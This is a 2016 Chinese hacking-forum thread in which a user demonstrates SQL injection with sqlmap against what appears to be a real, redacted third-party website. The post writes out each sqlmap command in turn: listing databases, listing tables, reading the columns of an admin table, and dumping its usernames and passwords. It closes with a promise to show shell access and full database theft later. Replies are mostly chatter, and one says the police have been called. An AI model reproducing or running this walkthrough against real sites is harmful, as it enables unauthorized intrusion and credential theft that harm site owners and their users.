请选择 进入手机版 | 继续访问电脑版
查看: 1736|回复: 7

实战sqlmap注入

[复制链接]
  • TA的每日心情
    无聊
    2020-2-7 12:27
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2016-3-23 15:09:36 | 显示全部楼层 |阅读模式
    神器sqlmap大家应该耳熟能详了,我也就不多介绍了
    本次给大家简单演示一下怎么使用它注入
    测试站点xxxxxx.com


    首先我们得到的信息是服务器是08的,IIS7.5

    11.png


    然后查看一下数据库

    sqlmap.py -u http://www.xxxxx.com/index.php?fid=1001 --dbs

    22.png


    好,有两个库,分别是information-schema以及zb-socket2

    我们来列举一下zb-socket2库里的表

    sqlmap.py -u http://www.xxxxx.com/index.php?fid=1001 -D zb-socket2 --tables

    33.png


    有25个表,可能有的人会问这么多表该看哪一个,一般来说都是看带有admin或user的表,好我们来看看adminlist这个表的内容

    sqlmap.py -u http://www.xxxxx.com/index.php?fid=1001 -D zb-socket2 -T adminlist --columns

    44.png

    可以看到,这个表段里存在5个字段,


    我们看一下username和password这两个字段的内容是什么
    sqlmap.py -u http://www.xxxxx.com/index.php?fid=1001 -D zb-socket2 -T adminlist  -C username,password --dump

    ps:我这是两个字段一起看的,要用,号分离,如果查看一个字段内容则是sqlmap.py -u http://www.xxxxx.com/index.php?fid=1001 -D zb-socket2 -T adminlist -C username --dump

    55.png


    好了,管理员账户已经出来了。
    按理说应该是md5,但这个不知道为什么不是,不过无所谓了,写这篇帖子主要是为了让大家了解sqlmap注入的全部过程
    本来还想演示一下--os--shell的,但是没有权限,所以就不演示了,下次再演示如何拿shell以及脱裤
    纯手打,望加精

    评分

    参与人数 3i币 +13 收起 理由
    Bat + 5 楼主,os-shell能演示一遍吗
    wuyan + 5 辛苦分
    Linda + 3

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2016-3-23 17:20:36 | 显示全部楼层
    哎,楼主啊,你这些贴子,亲,这种帖子都能加精的话,那么我们太极实验室的人写得任何一篇帖子都能置顶了。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2020-8-25 09:43
  • 签到天数: 419 天

    [LV.9]以坛为家II

    发表于 2016-3-23 17:20:36 | 显示全部楼层
    已收藏,有空仔细看看
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2016-3-23 17:21:59 | 显示全部楼层

    点评

    好吧好吧  详情 回复 发表于 2016-3-23 17:45
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2020-2-7 12:27
  • 签到天数: 4 天

    [LV.2]偶尔看看I

     楼主| 发表于 2016-3-23 17:45:37 | 显示全部楼层
    wuyan 发表于 2016-3-23 17:21
    http://www.ihonker.org/thread-7445-1-1.html
    http://www.ihonker.org/thread-7810-1-1.html
    http://www.i ...

    好吧好吧

    点评

    不是叫楼主放弃的意思,楼主继续努力,拿出真本事来  详情 回复 发表于 2016-3-23 17:51
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-9-11 15:40
  • 签到天数: 425 天

    [LV.9]以坛为家II

    发表于 2016-3-23 17:51:26 | 显示全部楼层

    不是叫楼主放弃的意思,楼主继续努力,拿出真本事来
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2017-8-30 10:44
  • 签到天数: 85 天

    [LV.6]常住居民II

    发表于 2016-3-27 11:55:52 | 显示全部楼层
    报警了,等着查水表吧你
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-8-16 09:18
  • 签到天数: 53 天

    [LV.5]常住居民I

    发表于 2016-3-27 12:40:20 | 显示全部楼层
    顶贴 交流
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表